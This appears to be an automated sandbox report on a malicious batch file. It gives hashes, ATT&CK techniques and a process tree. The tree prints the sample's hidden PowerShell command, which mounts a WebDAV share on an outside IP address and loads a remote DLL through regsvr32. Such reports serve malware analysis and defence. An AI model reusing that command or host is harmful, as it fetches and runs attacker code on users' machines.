00e6a875b09ff4267e6eab289b5dc7e29a0407c0e925d3a13a4bbf468c8b5b39

Analysis

max time kernel
140s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
20/07/2024, 12:37

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General

Target

7773290842190029985.bat
Size

7KB
MD5

0d4cc77e136b0f18289e4bc410bea5f4
SHA1

dd49ed497f9a207d1608bd75c71d535025a68028
SHA256

00e6a875b09ff4267e6eab289b5dc7e29a0407c0e925d3a13a4bbf468c8b5b39
SHA512

077ad51465dd9be03f0115313d481450a368809c817b0568457963f983279a6013e4e0f8f0c9b43d024abcd4cd010467fceed8987c0b77f7d6b83e10897678c6
SSDEEP

192:Jyp8OpAuHWNSFCZFiAqfnVZ76CkMqGyaFnvEL:Jyp9AjSYZFiAqfnVZ76CkMqaFnm

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2144	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2144	powershell.exe
2144	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2144	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2008	wordpad.exe
2008	wordpad.exe
2008	wordpad.exe
2008	wordpad.exe
2008	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1620 wrote to memory of 2008	1620	cmd.exe	85
PID 1620 wrote to memory of 2008	1620	cmd.exe	85
PID 1620 wrote to memory of 2144	1620	cmd.exe	87
PID 1620 wrote to memory of 2144	1620	cmd.exe	87
PID 2144 wrote to memory of 2132	2144	powershell.exe	89
PID 2144 wrote to memory of 2132	2144	powershell.exe	89
PID 2144 wrote to memory of 3704	2144	powershell.exe	90
PID 2144 wrote to memory of 3704	2144	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7773290842190029985.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1620
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\186711723522606.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2132
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\186711723522606.dll
    3⤵
    PID:3704

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:3992

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ks1vzzo3.2ez.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2144-5-0x00000162C6D50000-0x00000162C6D72000-memory.dmp

Filesize
136KB

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